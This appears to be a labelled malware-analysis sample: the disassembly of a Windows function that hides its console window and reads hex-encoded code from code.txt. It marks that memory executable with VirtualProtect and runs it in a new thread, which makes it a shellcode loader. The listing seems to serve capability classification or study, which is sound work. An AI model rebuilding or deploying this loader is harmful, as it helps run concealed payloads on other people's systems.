Function at 0x401100
Capabilities:
Create thread
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x403004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
push 0
push 0x4010b0
push 0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
add esp, 0x18
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x40216c
lea eax, [ebp - 0xc]
push str.code.txt
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
add esp, 0xc
test eax, eax
je 0x401174
push eax
push str.Error_opening_file:__d._n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401020
add esp, 0xc
jmp 0x401397
push 2
push 0
push dword [ebp - 0xc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push dword [ebp - 0xc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push dword [ebp - 0xc]
mov esi, eax
mov dword [ebp - 0x18], esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov eax, esi
add esp, 0x14
cdq
sub eax, edx
mov ebx, eax
sar ebx, 1
mov dword [ebp - 0x1c], ebx
mov edi, dword [ebp - 0x18]
inc edi
mov ecx, 1
push ecx
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
add esp, 8
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x4011ec
push str.Failed_to_allocate_memory_for_hexBuffer._n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401020
push dword [ebp - 0xc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0xc
jmp 0x401397
push dword [ebp - 0xc]
push esi
push 1
push esi
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread_s]
push dword [ebp - 0xc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x18
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x401247
push str.Failed_to_allocate_memory_for_execBuffer._n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401020
add esp, 8
push dword [ebp - 0x14]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
jmp 0x401397
xor esi, esi
test ebx, ebx
je 0x401271
nop dword [eax]
add eax, esi
push eax
mov eax, dword [ebp - 0x14]
push str._2hhx
lea eax, [eax + esi*2]
push eax
call fcn.00401080
inc esi
add esp, 0xc
cmp esi, ebx
jae 0x401271
mov eax, dword [ebp - 0x10]
jmp 0x401250
call fcn.004010e0
test eax, eax
je 0x40136e
push str.VirtualProtect
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40136e
lea ecx, [ebp - 8]
push ecx
push 0x40
push ebx
push dword [ebp - 0x10]
call eax
test eax, eax
jne 0x4012ac
push str.Failed_to_change_memory_protection._n
jmp 0x401373
call fcn.004010e0
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], str.CreateThread
push dword [ebp - 0x18]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push dword [ebp - 0x10]
push 0
push 0
call dword [ebp - 0x24]
mov esi, eax
test esi, esi
jne 0x401319
push str.Failed_to_spawn_thread._n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401020
add esp, 8
push dword [ebp - 0x14]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
push dword [ebp - 0x10]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
jmp 0x401397
call fcn.004010e0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x18], str.WaitForSingleObject
push dword [ebp - 0x18]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2c], eax
push 0xffffffffffffffff
push esi
call dword [ebp - 0x2c]
push dword [ebp - 0x14]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
push dword [ebp - 0x10]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004013ad
mov esp, ebp
pop ebp
ret
push str.Failed_to_get_the_address_of_VirtualProtect._n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401020
push dword [ebp - 0x14]
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call esi
push dword [ebp - 0x10]
call esi
add esp, 0x10
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004013ad
mov esp, ebp
pop ebp
ret